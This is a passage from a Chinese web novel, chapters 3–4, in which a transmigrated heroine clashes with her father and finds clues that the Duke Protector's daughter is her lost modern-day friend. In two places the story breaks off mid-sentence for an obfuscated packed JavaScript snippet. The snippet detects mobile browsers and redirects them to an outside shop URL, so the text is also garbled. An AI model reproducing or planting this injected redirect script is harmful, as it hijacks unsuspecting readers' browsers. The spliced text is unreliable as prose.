《主角都长了反派嘴》 3. 入梦 翌日清晨,张其羽在崭新的镇国大将军府中睁开眼睛。 她睡得并不好,昨夜回府途中遇上前面护国公府的马车坏了,横在道上堵了许久,车夫无奈绕了远路才到府邸,等收拾完睡下已过了丑时。 这还不算完,前半夜她还梦见自己在山中学艺的日子。屋外冰天雪地,她懒洋洋地蜷缩在塌上看兵书,突然闯进一只山间野狐,对一屋子吃食视而不见,偏叼走了她刚换下的衣裙,气的她嗷嗷直叫——那是她最喜欢的一件! 野狐狸扭头朝她抛了个媚眼,竟夹着嗓子说起了人话:“张小姐,天天见~” 说完,扭着屁股跳走了。 张其羽直接被吓得坐起身,顺带着也惊到了新来的侍女。 “小姐,奴婢伺候您梳洗吧。”新来的侍女一共有四位,眼前说话的这位名唤朝露,是专门负责小姐日常穿衣打扮的。 张其羽坐到铜镜面前时,还有些心神恍惚。不过是昨夜和人吵了几嘴,从前也不是没有过,这次居然后劲如此之大,连梦里都是他最后那句话。 朝露开始替她梳头,今儿个是她第一日当值,小姐看上去脸色并不太好,她不由得更加放轻了手脚。 少顷,张其羽看着镜中精美的发髻,心情顿时好了起来,笑道:“你的手真巧。” 朝露心下一松,也开心地笑了起来:“小姐喜欢就好,这是京中最流行的样式。” 话音刚落,苔生从屋外走了进来,朝露对上张其羽的眼神,会意地退下。 “小姐没睡好?” “别提了。”张其羽揉了揉太阳穴,“还不都是因为那人。” 苔生皱了皱眉,眸色暗了下去:“小姐若是不放心,奴婢去替您解决。” 张其羽 :“……怎么解决?” 苔生抬手,冷酷地做了个抹脖子的动作。 张其羽吸了口气,眨巴眨巴眼睛:“苔生啊,那可是世家公子欸。”说完,她左顾右盼,确定四下无人才悄声问道,“老实说,你打得过他吗?” 不知道为什么,野狐狸看起来就……很能打的样子。 苔生噎了一下,没有像往常那样立马给出肯定回答。凭她多年习武的直觉,那人武功一定不弱。 张其羽心下了然:“放心吧,他不会乱来。” 那些话再大不敬,也是私下说的,野狐狸若是往外捅,太子的名声往哪儿搁?皇帝第一个饶不了他。即便是想拉她下水,也没凭没据,野狐狸看上去就精得很,做不出搬石头砸自己脚的事。 苔生见她确实未放心上,这才说起正事:“小姐,知夏昨夜把赴宴的小姐们都探过了,一个都没对上。” 张其羽的眼眸顿时黯淡了下来,果真如此,又没寻到。 张其羽有个从出生就烂在肚子里的秘密——她是一名现代穿越者。 十八年前,她在现代唯一的好闺蜜游戏中认识了一名网友,两人聊的火热,没多久就决定要现下面基。 张其羽知道后顿感不妙,这多危险啊,万一是坏人怎么办?于是她说: “不许去,除非你带上我。” 于是两人手挽着手出发了。 闺蜜和网友约在一家咖啡店,在过最后一个红绿灯时,一辆失控的货车突然朝她们冲了过来,眼看着距离越来越近,张其羽最后的记忆是被闺蜜紧紧护在了怀里。 “砰——!”天旋地转,她失去了意识。 …… “恭喜夫人,是位千金!” 再次醒来,她发现自己穿越到了古代,成为了肃州卫指挥使家中的……新生儿。 新生儿的精力很差,没动几下脑子就会自动睡着,为了不忘记前世种种,她每天都要在心里默念一百遍闺蜜的名字。 她们在现代的名字很像,一个叫陈思羽,另一个叫陈思雨。不忘记她,就是不忘记自己。 张其羽始终坚信,她的小雨滴一定还活着,她们有只有彼此才能对上的暗号,等时机成熟,自己就要去找她。 可是,十八年了,她都没有找到小雨滴。她刻意锋芒尽露,将自己推到世人眼前,并非贪恋虚名与光环,只为在这信息闭塞的时代,造出足够大的动静,让那个和她一起来的人知道她在哪。 即便天不如人所愿,张其羽也不愿去想另一种可能性。 “别只盯着高门大户的女子,多去贫苦人家看看。”她呢喃道,“记得嘱咐她们,去的时候多带些吃食,还有银子和药材。” 她的小雨滴一直都过得很难。 “小姐放心,我们再加派些人手,定会替你寻到那姑娘的。”苔生顿了顿,似是突然想到什么,补充道:“昨夜到的人虽多,却还有一位世家女因身体不适没来参加。” 张其羽还陷在自己低落的情绪里,随口问道:“谁啊?” “护国公家的小姐,名唤陆今……” 最后一个字还没说出口,屋外就传来府中婢女的敲门声: “小姐,老爷让您过去一趟。” 定是为了昨夜太子拒婚一事。张其羽心下已有盘算,当即换好衣服就朝着张大将军的书房赶去。 进屋后,她看见张卯正在抚摸一柄早已生锈的断剑。她款款走进,欠身道:“父亲。” “嗯,坐吧。”张卯不舍地将目光从断剑上挪开,张其羽问道:“父亲又在想四年前的那位侠士?” 张卯叹道:“那后生是位武学奇才,若能寻到,为国所用,假以时日,必成栋梁。”只可惜,肃州一战后,人便不见踪影。 张其羽微微拧眉,当年肃州一战,她只在城内军营出谋划策,未曾亲临战场,只听说是在千钧一发之际,有位武功高强的蒙面大侠从天而降,杀敌如屠狗,助大胤反败为胜。敌方退兵后,那人不告而别,只留下一把用过的断剑。 凡习武者都会给自己配上一把称心如意的好剑,那人留下的断剑却极为普通,从外观和材质上都无法判断其来历。多年来,父亲派人几番寻找,皆是无果。 有活着回来的人说,那大侠听声音不过十五六岁的年纪,张其羽对此深表怀疑。她的两名兄长在习武上也是天资过人,但若叫他们十五六岁就上阵杀敌还所向披靡,未免也太过强人所难。 所以她猜,那人大约是位云游在外不愿透露身份的高手。 “当时他已身受重伤,又独自离去,怕是早已许国了。”张卯颇为惋惜地摇了摇头,终止了这个话题,缓缓问道:“昨夜……陛下赐婚一事,你可有看法?” 张其羽淡道:“女儿无意嫁给太子。” 张卯见她神态自若,心中也安稳了不少。只不过,这个女儿他是再了解不过的,一向是眼高于顶,如今连太子都入不了她的法眼,日后可还怎么议亲? 想到这里,张卯心情有些复杂:“你可还记得护国公陆家?” “自然记得。” 提起护国公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404697|200445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一家,张其羽还是难免在心中哀叹。四年前肃州那场苦战,五十万护国军,归来的不到五万。国公府刚行过冠礼的两个公子,再也没能踏进家门。护国公本人虽捡回一条命,却在榻上躺了大半年,最后落得一身残疾,再也无法像从前那般金戈铁马,领兵作战。 张其羽用余光瞥了眼自己的父亲,心中颇不敬地想道:若是护国公身体还康健,张家未必能这么快到达今日的地位。 毕竟护国公可是一路助今上从小小贫民登上皇位的第一功臣,听说私底下皇帝对他都是以兄弟相称。 “昨夜事多,尚未来得及与你详谈。我们刚入京,国公府就遣人来送了帖子,说三日后是他家小女的生辰,特邀我们全家过府一叙。”张卯一边说,一边关注女儿的情绪。他虽是个武将,平日里不怎么关注那些个琐事,可到底也听了一耳朵,“他家女儿和太子……罢了,都是些小辈的事,我不便多说,但却不得多提醒你两句,护国公身份尊贵,他家的孩子也定是个好的,你莫要因昨夜之事就与她生了嫌隙。” 张其羽垂下眼眸,唇角掠过讥笑。她昨夜才刚被人当众拒亲,今早已是闹得满城皆知,张卯这个做父亲的非但没安慰她两句,反倒替别人家的女儿操心起来,难不成在这人眼里她就是如此小肚鸡肠,不顾大局之人。 没了娘就等于没了爹,这句话不管放在哪个时代都是真理。 张卯见她不答话,还以为她是心中不平,语气严肃道:“护国公府满门忠烈,深得陛下信赖,我们张家是初入京城,根基未稳……” 张其羽冷声打断道:“父亲说的全家,包括阮娘吗?” 张卯突然被女儿意有所指的问话,神色变得有些羞恼:“你这是什么意思?” 张其羽直视他道:“听闻,护国公与国公夫人乃是京城人人羡煞的一双伉俪,多年来护国公从未有过侍妾、通房,护国公还立下家规,后世子孙,皆只能有一位夫人。” 看着对面人逐渐苍白的脸,张其羽神色不变,淡道:“我是为父亲着想,护国公府既有如此家规,父亲若带着名妾室赴宴,岂非是打国公爷的脸。” 张卯僵在原地,嘴唇张合了半天,愣是没吐出一个字。 不知从什么时候起,他本能地有些忌惮这个才智过人的女儿。他也知道,如今张家的小辈都是以张其羽马首是瞻,就连自己沉稳的长子,遇到什么事第一个去找的也是这个妹妹,而不是他这个父亲…… 张其羽起身,浅行一礼,道:“父亲若是没有其他事,女儿先行告退。”说完,她转身就走。 “你可是还在记恨你母亲的事?医师都说了,你母亲她是……” “砰”的一声,张其羽狠狠关上了房门,她的手还按在门板上,指尖攥得发白,胸口剧烈起伏。隔着一扇门,那些话终于听不见了。 医师说,母亲是因为多日惊惧交加,心脉受损才没的。 她不信。 明明在她去军营的前一天,母亲都能自己吃药进食,还能下床走两步,为何会在她离开短短三日便撒手人寰。 当时府中只留了阮娘和她尚在年幼的孩子。 她在现代也是母亲早逝,重活一世,竟也没能留住。她好不容易才把母亲从那虎狼窝里救了回来,却让她一个人孤零零死在自己家里。 张其羽闭上眼,猛吸了一口气,在心中暗自发誓:这事儿,没完。 她一定要查个水落石出。 4.海螺啼啼 从张卯房中出来后,张其羽一头扎进了府邸改造的大工程中。 活了两辈子,张其羽最不缺的就是钱。与此同时,她最大的爱好就是买买买—— 那顶点翠镶宝珠冠实在精巧,买了!那套花缎云锦衣裙甚为惊人,收了!还有那碧玺镶宝石花簪、錾花鎏金银臂钏、蟠螭衔芝辟寒佩、缠枝宝相金盏、紫油奇楠沉水香……张其羽从不在意价格,喜欢就要拿下。 除了自小跟着张其羽的苔生外,院内其他侍女小厮全都看直了眼。他们中有好些是家生子,从小在府里长大,跟着老人学规矩时便已见过不少好东西。可眼下这场面,还是把他们震住了。光是那些按四季分好的外裙,就整整齐齐码了几十个大箱子,箱盖一开,绫罗绸缎的光晃得人眼晕。 负责清点入库的两个嬷嬷,从晌午喊到日头偏西,嗓子都快冒了烟。 整整三日,院子里脚步杂沓,箱盖开开合合,一片热火朝天。 三日后,张其羽带上精心挑选好的礼物,准备前往护国公府参加那位陆小姐的生辰宴。今日她特意挑了件藕荷色的襕裙,清雅低调又不失端庄大方,不占风头的同时也不会失了礼数。 临行前,张其羽的大哥张滇特意寻她到一旁,神色凝重地问她中秋宴那晚出去有没有碰到什么人。 这问题问得突然,张其羽当即心下咯噔一声,面上却是不动声色:“未曾碰见过谁。” 见张滇明显放松下来的神色,她试探道:“大哥为何突然问这个?” 难道那野狐狸真在外胡乱传播那晚上的事儿了? 张滇暗自松了口气,笑道:“无事,我就随意问问。” 当晚,他坐在自己的位置上,被对面一位容貌极盛的男子隔空敬了杯酒。 灯火煌煌,那人嘴角虽噙着笑,却令他无端生出一阵寒意。他挪开眼定了定神,想问得此人姓甚名谁,然而就这么一转念的工夫,席位上已空无一人。 宴会上他被人敬了许多酒,醒来后连着三日都要去兵部例行公文,一时便忘了这事。方才见到小妹,不知为何又想了起来,这才多问了句。 张滇看了眼她身后捧着厚礼的苔生,道:“听闻陆小姐琴棋书画四道无所不通,素有温婉贤名,你若与她交好,在京城中也能行个方便。” 张滇说得隐晦,张其羽却听懂了——张家虽是当红新贵,在京中却并无根基,想要站稳脚跟,不论是身为镇国大将军的张卯,还是他们这几位张家小辈,都要想办法多与那些权贵名流拉近距离。 总而言之,今天就是把人情局。 “还有,”张滇似突然想到什么,语气认真道,“陆家那位三公子,你莫要去沾惹,能避则避,若避不了,随意糊弄就好。” 张其羽不解:“这是为何?” 护国公三子已折损前二,这唯一剩下的三公子早在四年前就封为了世子,不出意外日后定会袭爵,就算用不着巴结,也不能避之不及吧? 张滇神色有些尴尬:“有些话,你们做姑娘家的不方便听。总之,那陆家三郎……品行不佳,你看见他,快快躲远些。” 若自己天仙般的妹妹和这样的男子牵扯上,张滇怕是要被气的死了又活。 “妹妹爱走哪走哪,干什么躲躲藏藏?”头顶倏地传来一道男音,张其羽一抬头,正巧看见二哥张炎从府内翻墙而出。 张滇倒吸一口气,忍耐道:“旁边就是大门,你为何非要翻墙,实在有辱……” 张炎双手合实,如小鸡啄米般来回摆弄,这动作还是小时候张其羽教他的:“大哥,别念了别念了,我是个武将,要什么斯文。” 说完,他转头朝张其羽憨直一笑,拍着胸脯保证道:“妹妹你想往哪走往哪走,那姓陆的小白脸要敢来欺负你,看我揍他!” 张其羽被他逗笑了:“为何要说他是小白脸?” “因为……” 张滇喝道:“二弟!” 被大哥瞪着,张炎不敢多说,只道:“等会儿你见了就知道了。” 张其羽不免更加好奇了:“这位陆三公子叫什么名字?” “陆今野。” 张其羽略一挑眉,心道:好个霸道张扬的名字,听上去就野性难驯。 她虽未曾亲眼见过这位陆三公子,却在四年前的肃州与他的两位哥哥有几面之缘。彼时战事正急,两位少年将军挂剑自若,临阵点兵无有不服,从他二人的言谈举止中尽可见护国公府的家风。 这陆三公子……同为一母所生,怎就生出了这般悬殊的风评? 想不通。 每每遇上和四年前肃州一战相关的人或事,她都免不了一番思绪浓稠。 毕竟那场战乱夺走了太多重要的东西。 - 不到半个时辰,马车便停了下来,护国公府到了。 张家众人在府中管家的热情招待下进了门,他一路絮絮叨叨地介绍与解释,张其羽默默地在一旁细听: “平日里总听老爷夫人念叨,今儿可算把您一家给盼来了。” “原是老爷要亲自来接的,只是夫人前些日子受了点风寒,老爷放心不下,正守着在呢。” “不是什么大宴,就邀了几家平日里走得近的——” 到底是多年的老管家了,三言两语间分寸拿捏得恰到好处,既道明了未能亲迎的缘由,又让人觉着亲切不疏离。几句话下来,张卯原本那点拘谨便散了,眉眼里漾开笑意,拱手道:“本该是我去拜见陆兄才是,怎好劳他亲迎——” 正说着,就到了。张其羽用余光望去,不远处立着一位衣着华丽、气质高雅的女子,而她身前,放着一把轮椅,轮椅上端坐一人,张其羽一眼便认出他是护国公。 四年过去,他虽身形消瘦了不少,面色也带着几分病后的苍白,可那双眼睛往这边一扫,气势依旧不减当年。 张其羽看见自己的父亲快步走上前,双手抱拳正欲跪地,护国公便道:“你可别跟我来这个啊。” 很随意的一句话,却令张卯瞬间定在原地,抬起头时,竟红了眼眶:“将军!” 护国公当年陪着今上打江山时,张卯正是护国公手下的一名参将,这声将军他叫的理所应当。 护国公语气十分随和:“好容易回了京,还不赶紧介绍下。” 张卯这才领着儿女们一一介绍:“这是我的爱女,名唤其羽,名字是我夫人起的。取‘羽翼丰盈,振翅高飞’之意。” 张其羽配合地对着护国公夫妇行礼问安,护国公夫人等不及就上前挽起了她的手,掩饰不住的喜爱与关切:“都这么大了,往日你母亲在信中提过,如今人就在眼前,果真是个标志又大方的好孩子。” 张其羽抬头,轻声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411268|200445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“您认识我母亲。” “认识。”国公夫人拇指抚了抚她的手背,似是宽慰,“我与你母亲自幼便认识,你日后常来,我再细细讲给你听。” 张其羽点头,暗自握紧了国公夫人的手。 张卯见她们聊得差不多了,才继续道:“这是我的两个犬子,长子张滇,次子张炎。” 张其羽瞧见,国公夫人在看到自己两个兄长的那一瞬间,眼底划过了沉重的哀痛,又很快隐匿在她随后露出的笑容里。 她说:“好,好。” 张其羽忽然想起一件事。 是战事结束后从负责回京报捷的使者口中听来的。 捷报传回京都那日,满城欢腾。帝王在朝堂上展颜,大臣们争相道贺,百姓们涌上街头,为大胤王朝又一次酣畅淋漓的胜仗欢呼雀跃。而与此同时,护国公府得到的却是护国公重伤未愈的密报,和两口沉重的棺柩。 满城的欢呼隔着厚厚的墙传进来,像另一个世界的声音。国公夫人站在阶前,久久望着两个儿子的尸体,最终,也只是说了两个“好”字。 “好孩子,虎父无犬子。”护国公朗声笑道,“不像我家的那两个皮猴,昨儿夜里给他们千叮咛万嘱咐,全当耳旁风了,到现在还不见人影。” 张其羽往国公夫妇身后一瞧,果真除了侍女小厮外不见他人。 “快去,把公子和小姐都找来,就说贵客们都到了,让他们赶紧过来见礼。” “是。” 国公爷摆了摆手:“都别站着了,里头说话。” 说罢,国公夫人推着国公爷走在最前,张其羽同两位兄长跟在身后,心中略感失望——没见着那被人叫作小白脸的陆三公子。 她目光漫不经意地往上移,落在国公爷轮椅的靠背上,脚步倏地一顿。 张炎察觉有异,关切道:“妹妹,怎么了?” 前头的人闻声停下。张其羽只觉周遭忽然静了下来,连自己的呼吸都重了几分。她竭力稳住声线,尽量让语气显得寻常: “恕小女冒昧,敢问夫人,国公爷轮椅背后这幅图案,是出自何人之手?” 国公夫人低头看了一眼,笑道:“这个啊?是我那小女儿闲着无事刻着玩的,像是是叫什么……海螺啼啼?” 张其羽听完,眼睛倏地瞪大,面色一瞬间白了几分,落在国公夫人眼里,倒像是被这话惊着了。 “那孩子从小就爱翻些孤本残籍,许是从哪本杂书上瞧来的,自己胡诌了个名字罢。”国公夫人见她神色不对,温声解释道,“待会儿见了面,你可细细问她。” “……多谢夫人。” 众人又朝内走去。这回张其羽脚下虚浮,走得摇摇欲坠,苔生连忙上前搀住她。 “小姐,你怎么了?” 张其羽转过头,目光定定地看着她,压低声音问道:“你之前说,中秋那日只有护国公家的小姐没来参加宴席,对吗!” “是。”苔生被她盯得有些发怵。 张其羽加重了手心的力道,苔生能明显感觉到她浑身都在颤抖。 “她叫什么名字?!” “……陆今雨。” 张其羽近乎失声:“哪个雨?” “雨天的雨。” 咚咚——咚咚—— 张其羽听见自己如擂鼓般剧烈的心跳声。